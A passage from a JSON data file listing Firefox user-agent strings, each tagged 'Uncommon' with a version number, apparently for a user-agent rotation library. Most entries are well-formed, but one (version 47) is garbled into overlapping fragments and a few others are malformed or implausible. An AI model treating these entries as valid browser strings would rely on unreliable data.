(.NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Mobile; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.1; Mobile; rv:59.0) Gecko\\/59.0 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.4; Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5.3\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) FxiOS\\/5.3 Mobile\\/14A456 Safari\\/602.1.50\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 on x86_64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 5.0; Mobile; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.3) Gecko\\/2008092417 Firefox\\/3.0.3\"},{\"commonality\":\"Uncommon\",\"version\":\"3.8\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko\\/2008092313 Ubuntu\\/9.25 (jaunty) Firefox\\/3.8\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:52.0.1) Gecko\\/20100101 Firefox\\/52.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) FxiOS\\/10.6b8836 Mobile\\/15D60 Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.0; rv:10.0.12) Gecko\\/20100101 Firefox\\/10.0.12\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5ows NT 6.0) Geck.0) Geck01 Firek01 Firef01 Firefox\\/47.0fox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:53.0) Gecko\\/53.0 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; RemixOS; CrOS x86_64; rv:50.0) Gecko\\/50 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F81E\\/LYF_F81E_000_01_12_201117; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0,gzip(gfe)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 5.0; Tablet; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.2; Mobile; rv:59.0) Gecko\\/59.0 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:18.0) Gecko\\/18.0 Firefox\\/18.0\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:2.0) Gecko\\/20100101 Firefox\\/4.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.1; Mobile; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F50Y\\/LYF-F50Y-000-01-31-131017; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 5.0; Mobile; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko\\/20101203 Firefox\\/3.6.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko\\/20110324 Firefox\\/4.2a1pre\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Tablet; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F30C\\/LYF_F30C-000-09-10-140318; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/3.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Mobile; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10; WOW64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:31.0) Gecko\\/20130401 Firefox\\/31.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 4.2.2; Tablet; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:8.0) Gecko\\/20100101 Firefox\\/8.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:49.0.2) Gecko\\/20100101 Firefox\\/49.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; U; rv:6.0) Gecko\\/20100101 Firefox\\/6.0\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:23.0) Gecko\\/20100101 Firefox\\/23.0\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko\\/20101013 Ubuntu\\/9.04 (jaunty) Firefox\\/3.6.11\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:15.0) Gecko\\/15.0 Firefox\\/15.0a1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.3\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_1_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) FxiOS\\/5.3 Mobile\\/14B100 Safari\\/602.2.14\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"1.2\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/1.2 Mobile\\/13C75 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"2.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko\\/20081217 Firefox\\/2.0.0.20\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x8664; rv:32.0) Gecko\\/20100101 Firefox\\/32.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:52.0) Gecko\\/52.0 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:5.0.1) Gecko\\/20100101 Firefox\\/5.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:21.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"1.4\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/1.4 Mobile\\/13D15 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (X11; NetBSD amd64; rv:16.0) Gecko\\/20121102 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 on x86_64; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko\\/20101203 Firefox\\/3.6.13\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Android 5.0; Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.1; Tablet; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.4; Mobile; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:7.0) Gecko\\/20100101 Firefox\\/7.0\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:14.0) Gecko\\/20100101 Firefox\\/14.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:27.0) Gecko\\/20100101 Firefox\\/27.0\"},{\"commonality\":\"Uncommon\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko\\/20100101 Firefox\\/60.0\"},{\"commonality\":\"Uncommon\",\"version\":\"1.5\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko\\/20061011 Fedora\\/1.5.0.7-7.fc6 Firefox\\/1.5.0.7\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko\\/20091014 Firefox\\/3.6b1 GTB5\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko\\/20110614 Firefox\\/3.6.18\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1.1; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko\\/20101026 Firefox\\/3.6.12\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko\\/20110619 Firefox\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:32.0) Gecko\\/20100101 Firefox\\/32.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Servo\\/1.0 Firefox\\/37.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Mobile; OPENC; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5.3\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) FxiOS\\/5.3 Mobile\\/14B100 Safari\\/602.2.14\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.8) Gecko\\/20100722 Firefox\\/3.6.8\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:14.0) Gecko\\/20100101 Firefox\\/14.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.7) Gecko\\/20091221 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; rv:15.0) Gecko\\/20121011 Firefox\\/15.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:47.0.1) Gecko\\/20100101 Firefox\\/47.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:52.0) Gecko\\/52.0 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; WOW64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 4.1.1; Tablet; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:37.0) Gecko\\/20100101 Firefox\\/37.0 Authentic8\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.2; Mobile; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.8 (KHTML, like Gecko) FxiOS\\/8.2b5213 Mobile\\/14G60 Safari\\/603.3.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko\\/20100723 Ubuntu\\/10.04 (lucid) Firefox\\/3.6.8\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Mobile; OPENC; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko\\/20100101 Firefox\\/15.0\"},{\"commonality\":\"Uncommon\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:53.0) Gecko\\/53.0 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) FxiOS\\/6.0 Mobile\\/14C92 Safari\\/602.3.12\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:6.0) Gecko\\/20110814 Firefox\\/41.0.7\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/3.0 (Windows NT 6.2; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:22.0) Gecko\\/20130405 Firefox\\/23.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 8.1.0; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko\\/20100101 Firefox\\/25.0 GoogleToolbarFF 7.1.20110512 GoogleToolbarFF 7.1.20110512 GoogleToolbarFF 7.1.20110512 GoogleToolbarFF 7.1.20110512\"},{\"commonality\":\"Uncommon\",\"version\":\"5.3\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) FxiOS\\/5.3 Mobile\\/14C92 Safari\\/602.3.12\"},{\"commonality\":\"Uncommon\",\"version\":\"1.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/1.1 Mobile\\/13B143 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko\\/20100101 Firefox\\/52.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko\\/2012010317 Firefox\\/10.0a4\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko\\/20101005 Fedora\\/3.6.10-1.fc14 Firefox\\/3.6.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:37.0) Gecko\\/37.0 Firefox\\/37.0\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:5.0.1) Gecko\\/20100101 Firefox\\/5.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 